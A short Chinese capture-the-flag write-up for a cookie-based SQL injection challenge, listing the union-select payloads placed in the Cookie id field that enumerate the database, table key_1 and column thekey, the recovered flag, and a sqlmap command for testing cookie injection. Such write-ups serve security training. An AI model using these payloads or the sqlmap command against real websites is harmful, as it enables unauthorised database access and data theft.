前言
题目分类:
CTF—Web—SQL注入—08—Cookie注入
一、题目描述
题目:cookie注入
二、解题步骤
1、找注入点
Step1:Cookie: id=0,1 union select 1,2,3 – l
此题的注入点是cookie中的id。
order by 只能在limit前使用,所以这里用不了order by,只能用union select 来判断字段数
2、爆库、表、列、字段
Step2:爆库
Cookie: id=0,1 union select 1,2,database() -- l
Step3:爆表,表名为key_1
Cookie:id = 0,1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --|
Step4:爆列,列名为thekey
Cookie: id = 0,1 union select 1,2, group_concat(column_name) from information_schema.columns where table_name = key_1 --|
Step5:爆段,出Key:B6F0D416884D5D34
Cookie: id=0,1 union select 1,2,thekey from key_1 --|
三、总结
1、sqlmap如何跑Cookie注入
sqlmap.py -u "http://xxx.xxx.xx.xx/shownews.asp" --cookie "id=171" --level 2
注意:只有level 2以上sqlmap才会跑cookie
2、判断字段数:order by 与 select
order by 只能在limit前使用,所以这里用不了order by,只能用union select 来判断字段数
参考链接:https://blog.csdn.net/qq_35569814/article/details/100181778